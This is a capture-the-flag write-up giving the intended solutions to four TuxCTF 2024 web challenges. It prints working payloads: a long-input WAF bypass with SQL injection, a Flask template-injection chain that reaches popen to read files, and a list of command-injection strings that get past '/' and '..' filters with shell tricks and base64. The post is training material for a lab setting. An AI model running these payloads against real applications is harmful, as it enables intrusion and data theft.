Post

TuxCTF 2024

TuxCTF 2024 web Writeups

Hello, This is the Intended solutions for TuxCTF 2024 web Challenges

Level1 Sanity Check

you just have to view the page source

image

The Flag:

1
tuxCTF{a1wAyS_ch3Ck_C0Mm3ntS}

Level2 can you login?

We enter the link and find a login page

image

And we have the source code , whats intresting is the login.php file

image

We find a waf function, how does preg_match works it searchs for anything but litters and numbers, so anything else will be blocked!

image

but preg_match is vulnerable, we can bypass it by giving it a long input, then it will not sanatize all of it and we can do sql injection!

image

in shell

1
python3 -c 'print("A" * 9000)'

we copy the output and put in the last of it ‘or true– ‘

image

and we have the flag!!!

image

The Flag:

1
tuxCTF{$4n1T!ze_y0Ur_qu3rIeS} 

Level3 Templates

We go to the link , the page is empty, we notice the querey parameter “template”.

In the source code we discover it’s a web app with flask.

image

a waf that blocks some words.

A quick google search and we know that flask is vulnerable to ssti!!!

to test it we will use the payload

image

and success it returned 49 which means it calculated it.

SSTI payloads

we try this payload dict.__base__.__subclasses__()

image

we get a list of python classes, what we are intrested in is popen , if we can access it we can do anything on the server!!!

we have two ways to determine the popen class number: 1) write a python script which i will not do 2) fuzzing until we get it

on my local machine i got this dict.__base__.__subclasses__()[291]

image

The Full Payload:

1
dict.__base__.__subclasses__()[291]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()

image

The Flag:

1
tuxCTF{1s_1t_5$ti_0r_5$rf}

Level4 dots

for this challenge you also have the source code.

it’s also a flask web app, but you can only access /run_command and only send post requests to it.

image

open burpsuite and intercept the request.

right click in the request to change the method to POST.

image

if you try to send the request with anything this will be the response:

image

if we look back at the source code we will know that it takes the body parameters in json format.

1
data = request.get_json()

then it will look for the key “command” and sanatize the data.

1
2
3
4
5
6
7
8
9
10
if 'command' in data:
        command = str(data['command'])

        # Length check
        if len(command) < 5:
            return jsonify({'message': 'Command too short'}), 501

        # Perform security checks
        if '..' in command or '/' in command:
            return jsonify({'message': 'Hacking attempt detected'}), 501

to be able to send json data we need to change the header content type to application/json.

then add {"command" : "hi"} to the body of the request.

now if we send it we will get this response:

image

which means our payload is working.

now let’s understand how does the app work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Find path to executable
        executable_to_run = command.split()[0]

        # Check if we can execute the binary
        if os.access(executable_to_run, os.X_OK):

            # Execute binary if it exists and is executable
            out = os.popen(command).read()
            return jsonify({'message': 'Command output: ' + str(out)}), 200

    return jsonify({'message': 'Not implemented'}), 501


if __name__ == '__main__':

    # Make sure we can only execute binaries in the executables directory
    os.chdir('./executables/')

    # Run server
    app.run(host='0.0.0.0', port=7000)

here we can see that it will take the payload we send it, in the payload {“command” : “hi”} it will take it “hi” and then checks if it’s an executable in a direcroty named executables. we know this directory is empty from the docker file.

since the app is running on a linux machine we know that the if the file is executable it will have the “x” permission.

if we try to do the command ls -la in a local linux machine this the output:

image

we notice that . and .. are executable, .. is blacklisted but . is not!

if send {"command" : "."} we will get command to short, but if we send it with spaces {"command" : ". "}

image

it works !!!

the output is empty becuase the command . doesnt give anything back, but we know in linux we can do multiple commands in one line using pipe | or a semicolon, let’s try that.

{"command" : ". | pwd"}

image

it works!!!

if we try {"command" : ". | ls .."} or {"command" : ". | ls /"} it will respond with:

image

to bypass this we can do alot of things, i choose to do {"command" : ". | ls .''."}

image

we can see that flag.txt is in the before directory, to bypass the slash restriction we can use ${HOME:0:1}

{"command" : ". | cat .''.${HOME:0:1}flag.txt"}

to understand the payload, if we run echo .''. in any linux terminal the output will be ... and ${HOME:0:1}, ${} we tell the shell to give us the output of some opreation, here we tell it to take the home path variable , which is in every linux system, then it will slice it, for example the home direcroy absolute path is /home/kali it will take the first character which is /, so what will be executed in the machine terminal is

1
. | cat ../flag.txt

you can find various bypassing techniques in hacktricks:

Bypass Linux Restrictions Payloads

pwned!!!

image

The Flag:

1
tuxCTF{d0t$_4r3_3XeCut@b13}

here is a list of all inteded payloads to solve this challenge:

1
2
3
4
5
6
7
8
{ "command" : ". | ((echo Li4vZmxhZy50eHQ= | base64 -d) | xargs cat)" }
{ "command" : ". | ((echo L3Vzci9zcmMvYXBwL2ZsYWcudHh0 | base64 -d) | xargs cat)"}
{ "command" : ". <(echo true) && cd $(dirname $PWD) && cat flag.txt" }
{ "command" : ". <(echo true) ; cd $(dirname $PWD) ; cat flag.txt" }
{ "command" : ". | cat ${HOME:0:1}usr${HOME:0:1}src${HOME:0:1}app${HOME:0:1}flag.txt" }
{ "command" : ". ; python -c 'import os;x=os.path.normpath(os.getcwd() + os.sep + os.pardir);os.chdir(x);os.system(\"cat flag.txt\")'"}
{ "command" : ". $ or | or ; cat .''.${HOME:0:1}flag.txt 2>&1"}
{ "command" : ". <(echo true) &&  cat  .''.${HOME:0:1}flag.txt " }

happy pwning :)

This post is licensed under CC BY 4.0 by the author.